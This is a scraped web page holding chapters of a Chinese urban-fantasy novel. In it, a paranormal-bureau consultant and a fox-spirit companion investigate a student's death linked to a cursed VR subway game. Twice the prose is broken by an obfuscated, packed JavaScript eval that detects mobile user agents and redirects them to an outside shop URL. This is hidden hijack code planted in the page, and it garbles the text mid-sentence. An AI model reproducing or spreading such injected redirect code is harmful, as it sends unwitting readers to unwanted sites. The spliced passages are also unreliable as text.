她悄悄瞄了一眼谢安霖头顶抖动的狐耳,他察觉到秦飞雁怪异的视线,“你有何事?” “没有没有,你的耳朵真特别。”秦飞雁连忙摆手。视线还是被他的耳朵吸引,还会动,不知道是哪家店的电子兽耳,做得这么逼真。 这已经不是第一个盯着他狐耳看的人了!真无礼,谢安霖扯了扯黎钰的衣角。 【我们现在要去她上学的……私塾?】 【可以这么理解。】 谢安霖虽然在挑战游戏,但也一字不落地听完了二人的对话。加上之前警员二人组对案情的讲解,他初步建立起对现代世界的认知。 高中和学校,应该也是一种私塾?粉丝……听不懂,感觉像爱慕者,但秦飞雁是女人,她又追求黎钰,难道是磨镜?可秦飞雁那眼神,又不像对黎钰有那方面想法,谢安霖的狐耳再次垂了下来。 如果是本体的白狐形态,黎钰肯定能看出来——谢安霖这是要准备哈气咬人了。 …… “这、这是私塾?!” 狐狸精的三观被刷新了。他还以为只是一座低矮的小楼……正常私塾不都是这样的吗?黎钰世界的私塾怎么都快和修仙的小门派一样大了。 出示工作证,两人成功进入学校,路上的学生纷纷侧目。 “天哪,那个好像黎钰!” “她旁边那个古装男又是谁?” “看着像是coser,不会是来拍戏的吧?” “怎么可能,黎钰都说退圈了,她身边也没其他工作人员,绝不可能是来录制的!” 上课的预告铃声响起,好奇碎嘴的同学才不情不愿地回到课室。秦飞雁和二人别过,匆匆忙忙地冲上楼梯。 路上听她说,高二的楼层在五楼,距离上课还有五分钟,黎钰衷心祝秦飞雁好运。 中庭霎时间寂静一片,狐狸精好奇地左顾右盼,第一次来到现代的学校,一直拖着黎钰,想要四处乱逛,甚至还想跟着听课。 “不可以,我们是来查案的。” 黎钰无奈摊手:“要是你实在想看,改天休假带你去我的大学逛。那里更大。” “也是黎钰上学的私塾吗?” “嗯。” 两分钟后,教导处。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她摇摇头:“……不记得了。或许等他们物理课下课,我叫他的朋友出来,你问问他们?陈柏平时都是三三两两,结伴出门的。” 黎钰顺势问了旁边没课的老师,他们对陈柏的了解比班主任还少,完全没答案。 距离下课还有二十分钟,黎钰决定出去,和谢安霖一起去陈柏的班上看看情况。 走廊寂静无声,陈柏和秦飞雁在同一个班,高二1班,七中的理科重点班。谢安霖戳戳她的腰,在她耳朵旁轻声低语:“我看不懂……” 黎钰瞄了一眼黑板上的密密麻麻的解题过程,又看了看眉飞色舞的中年秃顶物理老师,“很正常,我也忘得差不多了。” 她大学是数媒专业,除了高数以外,物化生都还给老师了。 “看上去和太傅画的法阵差不多……黎钰,人族每个人都要学这个吗?” 听到谢安霖的比喻,黎钰差点喷了。为什么这家伙会拿法阵来比喻物理题的解题过程啊! “你选文科就不用……但数学是必修课。”退一万步,就算谢安霖在现代选修文科,是不需要面对物理了——但等待他的是比物理还恐怖百倍的数学“法阵”。 矩阵也是法阵。 “你只是不理解专有名词和特殊符号而已,对你来说,记住这些的话,学起来不难。”谢安霖在青丘可是阵法方面的顶尖大师。 翻译一下,谢安霖是青丘的建筑学、土木工程的博士双学位,并且拥有高达两百年的项目经验。 以谢安霖的资质,黎钰只要把网课丢给他看,就能自学成才了。 “那黎钰,你可以教我吗?” “有时间的话。” 两人小声地聊了一会,等待下课前,黎钰往课室里瞄了一眼。秦飞雁的位置靠着最里面的窗户,她正专心致志地盯着黑板和老师,时不时低头记笔记,完全没留意二人的存在。 但她的同桌察觉到了黎钰的视线,往她所在的走廊瞥了瞥。 看到黎钰的瞬间,同桌愣住了。 黎钰也呆滞了。 “店长?” 那不是“有猫饼”的店长吗! 14. 死亡 黎钰认得她,谢安霖更是生气。 他记得很清楚,当时他变成白狐,在小区瞎逛时,她想过来抱他,然后被他一脚踹开,这女人就恼羞成怒地骂他“白色煤气罐”。 谢安霖不知道煤气罐是什么意思,但不妨碍他听懂她在骂人。 气死狐了。 店长也很懵,黎钰她认识,但她身边那个兽耳男……店长的目光和前面所有人一样,被谢安霖的狐耳吸引了。 她记笔记的手顿了顿,总不能是黎钰养的狐狸成精了吧? 越想,她越觉得这可能性高。毕竟黎钰可是对策局的人,那里出点什么稀奇古怪的邪门事件都很正常。 狐狸精成为对策局的员工……额,那也很正常,大概。 在她走神之际,台上的老师已经瞪了她好几眼,终于在她第三次看向窗户时,忍不住点了她的名。 “方程,你已经走神三次了!” 少女差点吓得跳起来,思绪被打断,她老实低头做笔记,不看窗外。 黎钰站在外面,听到物理老师喊出的名字,懵了一下。 原来店长的真名叫“方程”。 看到讲台上半秃头的中年物理老师,黎钰心想,这名字,天生就是选物理的料。 下课铃响起。 方程才急急忙忙地冲出去,一旁的秦飞雁不明所以,还以为自己的同桌憋得太急,等不及冲去厕所一泻千里了。 她甚至都没有回头看向窗外,而是低头记着自己的笔记。 除了几个上厕所的学生外,其他人都和秦飞雁一样,安静呆在教室里,两耳不闻窗外事。 “黎钰,你咋来七中了?”怕吵到班级里的同学,方程压低音量,好奇问她。 “你们班有人在坠楼事件中死亡,我来调查情况。” 方程瞬间反应过来,“你来调查陈柏他们?” “没错,店长你真聪明。”不愧是开店的,脑子就是转得快。 “别叫我店长,我叫方程。还有,那是我妈的店,我只负责打下手!”方程咬牙切齿回答道。 正好,班主任从办公室走出来,看见方程和对策局那两位警员聊起来了。 她本来想让方程回去自习,但转念一想,横竖方程她也是陈柏的同学,让她旁听当证人也不是不行。 “我去把陈柏的朋友叫出来。” 一个高廋男生听到老师叫他的名字,连忙走出班级。 看到黎钰的那一刻,男生不禁张大了嘴,“您、您是网上那位?” “是我,”不给他回应的时间,黎钰单刀直入问道:“你平时和陈柏很要好?” “没错……” “那你知不知道,他上周末意外身亡了?” 男同学用力点头,他被黎钰的气势压倒,下意识跟着她的节奏走。 “你们周末去了哪里?” “去了中央广场的VR体验馆……”知道这关乎着自己朋友的死亡原因,他尽可能地回忆起当天的事。 “那是大众点评上的一个灵异恐怖体验馆,为了更有恐怖氛围,我们决定晚上八点过去。我们当时想,体验完项目就回家睡觉。” 一旁的谢安霖听得迷迷瞪瞪的,“爹娘不打骂你们吗?” 具体情景,谢安霖想象不出来,但他换位思考一下,大概就是青丘的狐狸崽子还没成年,瞒着爹娘,大晚上组队跑去上古废墟探险……他干过,当时溜回皇宫时,被奶娘吊起来抽,皮毛差点变成她的披肩。 “陈柏的父母比他还晚回家,我和父母报备一下就好了,他们不管我这些。” 高廋男生继续说自己那日的经历,“那个VR体验比想象中要晚,等结束时都十二点了,然后我们就坐地铁回家了。” “你们体验了什么?”在黎钰出声前,谢安霖好奇问道。 听到他的问题,黎钰没有打断他,而是静静地盯着高廋男生。 “地铁逃生?”他摸了摸后脑勺,“剧情大概就是,两个日常放学的高中生,夜晚凌晨误入了以往不同的地铁站,那里没有工作人员,只有腐尸、厉鬼,然后要一刻不停地往外跑,找隐蔽的障碍藏身……” 他们都是高中生,大晚上体验这个,是否过于沉浸式体验了一点?察觉到黎钰怪异的眼神,男生表示:“你们不懂,这种游戏越有代入感,越刺激!” “……所以你们两人在凌晨零点结束VR体验项目,然后坐地铁回家?”黎钰复述他的话。 “对啊!”男生不觉得这有什么问题。 黎钰沉默了:“地铁最晚一班车,在十点半。” 他们两人都是坐地铁回家,死者陈柏就住在桐明区,那附近的交通黎钰很熟悉——地铁站最晚十一点关门。 “你是说,你和陈柏在半夜零点,在结束运营的地铁站坐末班车回家?” 听见黎钰的问题,男生的大脑一片空白。 “以及,大商场最晚十点闭馆。”黎钰注视着他的眼睛,指出了他话里的疑点。 “可、可我记得那天,我们真的坐地铁回家了!”男生眼神恍惚,身体不自觉颤抖着。 黎钰没有继续追问,给一旁的谢安霖使个眼色,温声细语地说道:“先不谈这个。你先前说,你们是在大众点评上看到那家体验馆的?” “没错,我手机里应该还有付款记录!当时双人套餐很便宜,只要40,我们就买了……” 旁边的谢安霖戳了戳黎钰的腰,她停下询问,“原来如此,我明白了。” 【他身上被下咒了。】 她转身问班主任:“我怕吵到班里的同学自习,请问能带我们去校医室吗?那里可能比较适合问话。” 班主任也察觉到男生的不对劲,“没问题,我带你们过去。” “方程,第二节物理课要开始了,你先回去吧。” 店长少女用力摇头,拍着自己的胸脯,“我作为陈柏的同学,同为证人之一,我有提供证词的义务。” 说得这么富丽堂皇,实际上是想找机会逃课吧,班主任心想道。可方程说的是事实,黎钰二人在场,她也不好当面驳走方程,只能问黎钰。 “你们介意她旁听吗?” 黎钰欣然应下,一点也不反对。 …… 校医室。 男生不安地坐在木椅上,虽然班主任和同学在场,他望向黎钰。 她的眼中满含笑意,意味深长。 “说起来,之前看你的样子,应该听过我的传闻?” 男生怯弱地点头,脖 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近日,她在这些视频底下的评论区中时常见到有人在讨论黎钰。 【你们觉得黎钰会使用符术吗?】 【难说,我看她像是力大砖飞型,如果一拳下去鬼没死,那就再来一拳,不会用符箓那种玄妙的玩意。】 【我感觉她站在场上,笑眯眯地瞪敌人一眼,对面就当场自杀了。】 班主任不信这些神鬼,但她确实有些好奇这位对策局新秀的真实模样。 她透过录制画面,看向黎钰和她的coser跟班。黎钰正把纸翻了个面,撕掉背面的双面胶表皮。 随后,黎钰在男生懵懂的目光中,不等他反应,手速极快,一把将带胶纸的符贴到男生的额头上。 可是她的学生却仿佛失去反抗的意愿,只是木木地坐在椅子上,一动不动。 负责录制的班主任人都呆住了,瞪大双眼,刚准备阻止黎钰,却见她已经动手了。 她的手摸在男生的后脑勺上,用力往后一扯。 “我的天,那是什么——” 班主任差点拿不稳手机,镜头晃了晃。 她看见一股黑气环绕在黎钰的手掌上,顺着她的动作,从男生的后脑勺中拉扯出来,在指尖涌动。 “谢安霖,把定身符揭了。” 黎钰身边的跟班见怪不怪似的,一点都不惊讶,利落地将白纸符箓从男生的额头上“唰”地撕下来,还给黎钰。 男生的额头一片通红——那都是被双面胶粘的。 “刚刚发生什么了?”男生毫无相关的记忆,他只记得黎钰的拿着什么东西,往自己脸上糊。下一段记忆就是现在,他感到前额一阵刺痛,他摸了摸被双面胶粘过的额头,痛得倒吸一口凉气。 看他这副模样,黎钰有些尴尬,刚刚谢安霖撕太大力了,下次让他下手轻点。以及换个牌子的胶纸。 在班主任和方程瞠目结舌的目光中,黎钰平静地问道:“现在,你能想起来上周末的情形吗?” 提到“地铁”这个词,男生浑身发抖,用力抱住自己的头。 “地铁、列车上的人都死了……” “我们来到了地狱……” 15. 通往地狱的列车 一旁的班主任见他脸色苍白,说话支离破碎,连忙冲了杯热水递过去,可他却一把拨开水杯,吓了班主任一跳。 温水撒在地上,杯子骨碌碌地在地上滚动,染出喷射形的深色水迹。 看到水迹,男生脸色更加苍白,连连后退,险些摔到地上。谢安霖忍不住了,一道灵力传进了他的脑中,他的情绪这才慢慢稳定下来。 “你慢慢说,我们是对策局的警员,一定会帮你。”不详的黑色气息缠绕在黎钰手上,仿佛找到了主人,乖顺且安分。 他的身躯仍然颤着,战战兢兢回忆当天晚上。 “我和陈柏预约了晚上八点的票,我们……结束体验后,坐地铁回家。但下站时……站台空无一人。我没有多想,就和陈柏离开地铁,就听到‘轰隆’一声,列车里面传来尖叫……” 讲到这里,他努力忍住呕吐的想法,“有个怪物砸在列车的顶端,压扁前面的车厢。溅出了好多血,还从里面拽出半截……人,我还看见好多有长条的东西连在那人的身子上,它、它当着我们的面,嚼碎了那人的上半身……” “陈柏拉着我跑,我回头……它咬断了一个女人的脑袋,地上全是血……”他第一次知道,人的身体可以爆出这么多血浆。 “那你们是怎么跑出来的?”班主任好奇追问。 “那些怪物不止一只,但它们……没有直接下口,而是一边嚎叫,一边追着我们,直到我们跑到死路中,”他艰涩地说道,“那里站着一个白色长发的男人……他一挥手,那些怪物就离开了,我们遇上了救兵。” “他让我们离开地铁站,说那里很危险。然后……然后我们就什么都不记得地回家了。可能那人清除了我们的记忆。” 听着像友方,对策局有操控魔物行动的能力者吗? “白色长发……除此之外,那个男人还有什么特征吗?” “看上去很年轻,长得蛮帅的。衣服看着像剧组的戏服,总之就是那种电视剧里的古装,腰带有条鲜红色的细绳!” 难道步星澜乔装上阵了?不对,假如陈柏在星期六晚上经历地铁事变后回家。这个时间点,她和步星澜还在沿江东路的别墅区调查血案。 那人不是步星澜。 没有下任何死亡暗示,只清洗了男生的记忆吗?这人的能力是操控魔物,黎钰不敢掉以轻心。 待会打电话问问步星澜,局里有没有这类型的能力者。 “还有别的特点吗?” “眼睛跟血一样红?”他绞尽脑汁回忆当时“救兵”的详情,“想起来了,他右边头发绑了朵红色的花!” 红花,这个词太广泛,就算黎钰对花毫无研究,也知道这种颜色的花在世界上数不胜数。 “你认识那花的种类吗?”虽然对他认出品种一事不抱希望,黎钰还是多问了一句。 “应该随处可见吧……”男生不好意思地对手指吗,“感觉经常在动漫游戏里见到。” “……我明白了。” 问询到此结束,男生犹豫片刻,主动问道:“陈柏死了,那个白头发的男人和怪物是一伙的吗?” 他对二人的记忆动过手脚,但只有陈柏死了,下一个会是他吗? “具体情况还需进一步调查,”黎钰想了想道,“要是你不放心,可以向警局申请保护。” 她看向一旁呆若木鸡的班主任,她还在机械地举着手机录像。见黎钰从位置上站起,她才问:“问询结束了?” “嗯。” 黎钰将余光瞥向“有猫饼”的店长,方程一直沉默地坐在位置上,全程静默,只有黎钰给男生贴符的时候,才露出一些惊讶。黎钰感知得到,方程的视线从未离开过她。 班主任准备带心有余悸的男生离开,但想到方程的问询还没开始,她脚步顿住,她转头看了方程一眼,而方程听懂了班主任眼中的询问说道:“老师,你们先走吧,我和警察单独聊几句。” 在方程的一再坚持下,班主任只能无奈离开。 顿时,校医室内只剩下三人。 黎钰注视着方程:“你有什么线索要提供?” “没有,”老师一不在,方程就自顾自地拿了个一次性水杯,接起热水,“你们准备今晚去地铁站查探情况吗?” “不是晚上,和你聊完,我们就过去。” 方程的手抖了一下,差点把热水撒出来:“这么早,现在才下午三点啊!” “早点去调查比较好,若有意外,我们也能及时阻止,”她接过方程的水,一口气喝空,“如果那男生说的是真话,已经有一趟列车的乘客死在魔物手上了。” “其实你们完全可以委托别人帮忙蹲点……”或许是想到各种电视剧的情节,方程说道,“况且,他们两人出事时都是夜晚时分,你们完全可以先去别的地方探索嘛!” 她说得也没错,黎钰确实打算沿着从男生脑中抽出的魔气,一路追查魔修的行迹。 黎钰似乎听出了她的言外之意,直视方程的眼睛,“那么,你认为我们该委托谁去帮忙蹲点呢?” “我啊,”方程自信地挺起胸膛,“别看我这样,我可是去年跆拳道大赛的冠军!” 感受到黎钰不信任的视线,她连忙加上:“我爸是警察,我也跟他学过不少知识,还帮忙蹲点嫌疑人呢!” 不是她不信,还好她路上加了班主任的微信,黎钰直接发消息确认她的真假。 【之前家长会的时候见过,她爸是警察,她妈好像开店的?具体什么店我没印象了,她也没提过。】 宠物商店,黎钰在心下补足了班主任的疑问。 【你可别听她的话,方程现在还是个未成年学生,怎么能去做这么危险的事!】 黎钰觉得班主任说得很对,直截了当地拒绝了方程的请求。 在她幽怨的目光中,拖着一脸懵的谢安霖离开学校。 “以后有时间一定找你,你现在还是学业为重。” “我学习很好……”方程不爽地嘟囔,望向二人离去的背影。 不让她去,她自有办法跟上黎钰他们。 十分钟后,方程找到了正在疯狂记笔记的秦飞雁,“飞雁,我去上一趟厕所,可能有点久,老师回来的话,可以帮我说一声吗?” “啊、嗯,可以。”秦飞雁猝不及防被她打断了解题的思路,大脑一片空白,应下了方程的话。 她低下头做题,准备找回先前的思绪,眼角却瞥见方程那空空如也的挂扣——那原本挂着她的书包。 去厕所,需要带上书包的吗?秦飞雁迷茫地摸了摸头。 …… 校门外。 “我们先去地铁站。”黎钰说着,发现谢安霖总是时不时回头,看向七中的大门,琥珀色的眼眸掠过一丝羡慕。 “这次任务结束,我向步星澜申请假期,好好带你逛,怎么样?” “嗯!” 听到黎钰的承诺,谢安霖的狐尾巴顿时翘上天。 两人刚越过公交车站,准备前往陈柏出事的地铁站查探情况,忽然,有人拍了拍她的肩膀。 “谁?” 一回头,黎钰一脸惊愕——那是一身休闲便装的方程,她正狡黠地笑着。 “你,方程——怎么出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993185|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的?”黎钰觉得,七中的管理还没放松到让学生在上课的时间段,自由出入校门。 少女不好意思地摸了摸自己的脑袋,“我换上休闲装,然后对门卫说我是来看望老师的,他就放我走了。” “你看,横竖我都出来了,你可以让我去地铁站蹲点了吧?” 最终,黎钰拗不过她,无奈从挎包中取出符纸。 “手机拿来,我贴在上面。” 方程倒也十分配合,配合到黎钰都怀疑她是不是她刚才的“暴力”执法整怕了。 “话说,这真是符纸啊?”方程好奇地看了眼贴在手机背面的白纸,毫无玄学含量,要不是见证过黎钰在校医室的“表演”,她都怀疑这纸是从黎钰的草稿本上撕下来。 这就不得不提明明黄纸和A4纸在同样的数量下,价格相差无几,但A4纸却比黄纸大了好几倍!黎钰还能裁下来一张当三张用。 “你要是不信,就把它撕了吧。”黎钰幽幽说道。 “那还是免了……”眼见黎钰一张接着一张往方程的手机背面贴符,一口气贴了整整三张。 方程盖上手机壳,指着里面的符纸:“它们都有些什么用啊?” “定位、防御,还能保持手机和外界的通讯状况,不会被结界干扰。” 详细和方程讲解后,黎钰将蹲点地铁站的重任交给了方程,她还再三强调方程要每隔五分钟,最晚不能超过十分钟,就给她发消息确认情况。 “有意外状况一定要告诉我。” …… 在来到“来生”体验馆之前,谢安霖先被现代的百货广场震惊到耳朵都弯下来了。 “这、这是地球人族的集市?!” 即使是工作日,广场和地铁联通的入口人来人往,时不时有年轻男女端着奶茶,有说有笑地在各大商铺前闲逛。 “是的,”黎钰面无表情点点头,“我查了下,那座灵异体验馆在负三层,我们先去查探情况。” 谢安霖一直挽着她的手臂,差点开心得跳起来,很是期待。 黎钰捂脸,现在是办案时间,总不能带他真的到处逛。她就像拖着一条活泼好动的哈士奇,来往的路人纷纷瞩目,在她的努力下,终于成功将谢安霖拖到负三层。 这时,手机震动,方程也给她发消息了。 【为了测试那趟“黄泉列车”的开启时间,我在两班地铁里反复横跳。】 【现在,站台上的志愿者看我的眼神像在看傻叉。】 黎钰顿时冷汗狂出,让她在站台边蹲点,没让她真的跑进列车里试探!方程只是个普通人,真撞上魔修对她有什么好处吗?! 【你别这么冲动,真有什么意外,我赶不及怎么办!】 那边的方程还嬉皮笑脸地回答:【这不是有你的符纸吗,有什么紧急情况,我会联络你增援的啦!】 黎钰边走边回,不知不觉间,两人就来到了“来生”体验馆门前。 这里门可罗雀,或许是工作日的原因,没什么人特地来这里玩,店员是个年轻小伙,正休闲地坐在门口的位置上刷短视频。 黎钰和他详细说明了情况,对方询问过店长,店长本来不同意黎钰进门调查,但见她掏出工作证,并痛快地下了三单。看在钱的份上,店长管不得黎钰究竟是不是对家奸细,立刻让出通道,陪笑着:“这里请,这里请。” “谢安霖,你来体验吧。”见他仿佛个好奇宝宝一样,环视四周,狐狸耳朵都立起来了,总让他在一旁当个观众,黎钰也不好意思。 青年不可思议地指着自己:“唉?” “没错,就是你。” 16. 狐耳不是头箍,是真货 工作人员指了指谢安霖的白色狐耳,还手贱地戳了一下,“客人,这个头箍可以摘下来吗?” 他居然以为谢安霖的狐耳是头箍!黎钰捂着嘴,差点笑抽。 在他碰到耳朵的瞬间,谢安霖一个猛回头,幽怨地盯着对方——如果是本体形态,恐怕谢安霖此刻已经化身狂暴订书机,往这位幸运工作人员手上钉几个血洞了。 看他怨气冲冲的样子,黎钰也不笑了,连忙隔开二人:“我来帮他摘吧。” 谢安霖坐在椅子上,气鼓鼓的,飞机耳都出来了。黎钰一个侧身挡住工作人员的视野,传音道:【乖,先把耳朵变回去,听话。】 在黎钰的极力劝说下,谢安霖只能不情不愿地把耳朵变走,让工作人员套上头盔。 要是有专门给狐耳装两个罩的头盔就好了,青丘的斗篷可是会专门给耳朵腾位置的,实在不行,挖两个洞放耳朵谢安霖也能接受——但偏偏没有,这现代世界真不利好狐族! 在工作人员的引导下,谢安霖终于磕磕绊绊地进入游戏。 “黎钰,这个和幻境一样,好神奇!”之前的负面情绪消失得无影无踪,谢安霖这情绪,真是天气预报来了都测不准。 见二人顺利开始体验,工作人员找了个椅子坐在一边,拿起手机,回到了短视频的世界。 “这比之前那个游戏真实好多,太有趣了!” 指的是黎钰给他玩的《圣契》,看来谢安霖对它的游戏难度颇有微词——一直通关失败。 黎钰忍不住,坐在旁边提醒他,“别光顾着玩把任务忘了,倒是看看有什么怪异的地方啊。” “嗯……我正在跟着那个男孩的视角,逃离地铁站,”他一边玩,一边像个播报员似的,跟黎钰报告进程,“在我的帮助下,他成功逃离站台——咦?” 听到谢安霖惊奇地抓住黎钰的袖子,“那里,有魔气!” “……你能不能详细告诉我具体的场景?” 她又没玩,怎么可能知道谢安霖说的“那里”是哪里。 谢安霖手忙脚乱地向她解释,但在现代初来乍到,很多事物都无法清晰描述。只能经过黎钰的翻译,勉强拼凑出他想表达的意思。 情况就是,他在断裂的列车上感知到了魔气,汹涌的魔物从地铁隧道涌出,将所有人吞噬得干干净净——因为谢安霖的渣操作,他扮演的学生也死了。 就在黎钰沉思之际,听着二人的对话,身后的工作人员短视频也不刷了,从椅子上起身,小心翼翼地问道:“你们……真是那个对策局的人?” “当然,”她指着谢安霖正在玩的《死亡14号线》,转头问这位年轻的工作人员,“这游戏是你们老板引进的吗?” “不清楚,我入职时它就在了,”他挠挠头,“平时基本没人选这个游戏,都把它当成空气,我看它是恐怖游戏,也不敢贸然向客人推销,那两个学生是第一帮主动选择的玩家。” 游戏中的地铁危机,以及在离开体验馆后,陈柏二人便立即在列车中遭遇了魔修袭击…… 再根据谢安霖的描述,这游戏恐怕在一定程度上,预知到了陈柏他们将遇的危险。 “也有可能是魔修恶劣的犯罪预告?”考虑到魔修的特性,黎钰觉得这可能性并不低——沿江东路的那个魔修并非个例。 “方便我和你们的店长沟通吗?” 不到一分钟,店长连忙进来,也不知看了些什么,态度一改先前的疏离,对黎钰二人点头哈腰:“您好,黎钰小姐……” 不用这么礼貌吧……黎钰尴尬地后退半步。 店长听说黎钰的身份后,第一眼还以为她俩是对家派来踢馆的。 对策局的证件和其他警察的样式差不多,可黎钰和谢安霖长得太像出门逛街的大学生了,店长真看不出来这俩是便衣。 为了以防万一,他悄悄报警——结果发现黎钰不仅真是警察,还是专管灵异现象的特别顾问。 “店长,请问一下,《死亡14号线》是你引进的吗?” “什么14号线?”他一脸茫然地拿过黎钰给他的宣传单,在纸张的最下面的小角落里,写着血红色的字体,就像恐怖游戏。 他指着那诡异的字体,反问黎钰: “上面不是写着《电梯惊魂》吗?” 工作人员也凑上来,“店长你老眼昏花了吧,这分明是《死亡14号线》。” 店长哪惯着他,一脚踢他腿上,“你才眼瞎,怎么看都是《电梯惊魂》,你刷视频刷出青光眼了?” “好……电梯惊魂,您说得对……” 刚训完年纪轻轻就重度近视的店员,店长转头,就发现黎钰正微妙地看着他。 “在我眼中,上面确实写着《死亡14号线》。” 店长的脸瞬间僵住,用力抹了抹眼睛,将手里的宣传单凑到眼前,瞪大双眼,仔细再看一遍。 那诡异的字体竟扭曲变换了起来,仿佛扭动的黑色长虫,无法辨认内容。他吓得后退半步,可在眨眼的瞬间,字体又变回他熟悉的《电梯惊魂》。 太邪门了!店长连忙将宣传单揉成一团,丢得远远的,话都说不利索了,哆嗦着:“黎顾问,这、这可咋办啊?我们店难道被厉鬼缠上了?” 店长不禁想道,厉鬼缠身,他是不是命不久矣了? 谢安霖已经退出了游戏,捡起他丢出的纸团,琥珀色的双眸中闪烁着微光,片刻,他戳了戳黎钰,“宣传单和头盔一样,上面也有魔气……” 黎钰拿过他手中皱成一团的宣传单,随她的意念,黑气自纸团中浮现,操作和当时的那个男学生一样,只是少了定身符的步骤。在她的操控下,夹杂着魔气的灵力从宣传单流出,安分地萦绕在黎钰的手边。 “和方程的同学不一样,这股魔气比他脑中的还要邪厉……” 两者明显不是同一个主人,黎钰拿过桌上谢安霖刚戴上的头盔,同样提取出了相同的魔气。 对方至少是大乘期魔修!考虑到魔修的进阶方式,对方身上恐怕背负着数以百万计的人命,绝非善类! 见到她手中的的黑色气体,店长吓得魂不守舍,隔壁的年轻店员倒是双眼发亮,“唔哦哦哦”地惊呼着,“这难道就是传说中预示世界毁灭,上古的不灭魔神留下的诅咒吗?!” 别中二病复发了,快去看店吧,黎钰无语。 就在黎钰在心底吐槽时,谢安霖已经接上了他的话:“天魔不是早已逝去数万年了吗?虽然那家伙一直想复活,他留下的遗骸早就被我们——” “黎钰,你怎么突然抓我耳朵?!” 谢安霖捂住自己的狐耳,指间渗出的耳朵尖被揪得微微泛红,无力地耷拉在脑袋上。 店员中二病复发也就算了,谢安霖跟着凑什么热闹。 “那居然不是头箍,是真货吗?!”见谢安霖的反应,再联想到刚才黎钰的超自然操作,店员再迟钝,也反应过来了。 “这这这是狐妖!”店员眼里更激动了。 然后店长就毫不留情地用力拍他的后背,让他物理回魂,“既然是黎钰的助手,那能是妖吗?那是狐仙!” 黎钰捂额:“谢谢你的夸奖,但他法律意义上的种族确实是妖。” 她无视在一旁抱头蹲防的狐狸精,拿过一旁的白纸,拉过椅子,“那张宣传单可能是某位魔修作恶的预告函。以防万一,我给你们画一张护身符。” 考虑到体验馆的背后,极有可能是一位即将突 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黎钰顺路给谢安霖点了杯珍珠抹茶奶盖,安抚心情。 青年的狐耳终于不再无精打采地垂着,而是兴奋地竖了起来,将黎钰揪他耳朵的事情抛之脑后,小口小口地吸着抹茶,“好甜,我喜欢这个!” 没想到体验馆这一趟,居然牵扯到一位高境界魔修,黎钰有些头痛。倒不是打不过,问题是敌暗我明,要靠着这缕魔气追寻对方的踪迹……有点耗时间。 时间不等人,按照案件的顺序,明天就会出现新的牺牲者。现在唯一的线索,就是那趟被魔物袭击的列车。 而根据唯二幸存者的对照情况,遇袭的幸存者者会被种下魔气,诱导自杀。 更头疼了,黎钰按了按太阳穴。 两人找了个座位坐下,打开手机,黎钰一边吸着奶茶,当作过时的中午饭,一边给方程发消息: 【蹲点辛苦了,要喝奶茶吗?我请你。】 那边速回,一点也不客气:【大杯珍珠奶茶,加椰果芋泥布丁,去冰多糖谢谢。】 一边点,黎钰一边打字吐槽:【全是料,里面还有奶茶吗?】 【这叫下午茶。】 就在她等奶茶时,忽然,又是一道消息弹出。 顾望宁:【我到《灵异秘闻》的片场了,刚录制完,现在是休息时间。】 还配了张累得灵魂出窍的猫咪表情。 这家伙,是在炫耀吗?该死的顶流!一想到自己被踢出《灵异秘闻》的剧组,黎钰就羡慕嫉妒恨。 气得回了他一张“喵颜大不悦”。 和她的表情包同时发送的,还有顾望宁拍的一张照片——黑暗下,几个帐篷支起,摄影机自带的灯光闪耀着,周边的灌木低垂,影影绰绰,就像厉鬼的爪牙。 都要开始录制了,还在休闲地拍照吗?可恶的家伙。 【话说,你们这期的拍摄地点是在哪啊?】发完,黎钰才想起来补充一句。 【不能说就算了。】 顾望宁也是个人物,都不带迟疑的,立刻告诉黎钰:【东郊区的湖泊。】 【节目组以为这里是座废校,没想到调查出错,这里只有一片浑浊的湖泊。】 居然真在郊区,顾望宁有福了。黎钰给了他一个“加油”的表情包。 “黎钰,方程的奶茶到了。”念到她的号码,谢安霖戳戳她的手臂。 忽然,微信电话占据了整个画面。 方程拨来的电话?!黎钰立刻接通。 “地铁站,魔修……我需要……支援!” 17. 你也是能力者? 走之前,黎钰还不忘让他拿上奶茶。 “到你发力的时候了,阵法大师。” 谢安霖立刻明白了黎钰的意思,“现在是要传送到方程身边吗?” 两人在商场找了个人少的位置,法阵在脚下凝结成形,光芒浮动,青年双眸紧闭。黎钰站在旁边,隐约看见他身后漂浮晃动的九条尾巴。 “目的地就以我的符咒为道标,怎么样?”灵力在黎钰手中浮现,渗入法阵,法阵立即从代表土系的橙黄色,染上一缕缕金色的丝线。 谢安霖皱起眉眼:“不行。” “方程她在移动。速度很快,应该在列车上?” “没关系,传送到附近就行。”就算偏离几百米,黎钰也能迅速赶过去——重点是到达方程所在的异域。 她所在的位置,恐怕已经不是普通手段能直达的地铁站了,前往商场地下的站点坐地铁毫无意义。这种时候,就该二人的超自然手段登场了。 “好。”时间紧迫,谢安霖毫不犹豫听从黎钰的话,开启传送阵。 霎时间,光芒跃动,法阵启动了。眨眼之间,漆黑无光的空间在二人眼中定格。 阵法的光芒黯淡下来,她扫视四周,通道呈半圆形,她踏出法阵,踩在冰冷的黑色钢铁上。 “隧道?” 不远处,隧道的远处隐约传来嚎叫与嘶吼声,整条通道被某种无形的力量攻击着,大地在二人脚下时不时震动,一波更胜一波,隧道顶端浮现一条条可怖的裂痕,每一阵震动都伴随着掉落的碎石沙土。 黎钰用脚都听得出来,隧道深处的魔物正在发动攻击。 “得快点过去救方程他们!” 普通的御剑飞行太慢了,好在黎钰有更便捷的交通工具。 黎钰看向身边的青年:“变回去。” “等下,控制一□□型!别把隧道挤塌——” 为时已晚,“嘭”的一声,一头九尾狐瞬间挤满了隧道空间,谢安霖无力地扒拉着爪子,就像卡在墙缝里的肥狐狸,动弹不得,只能无力地踢着后腿,对隧道使用兔子蹬。 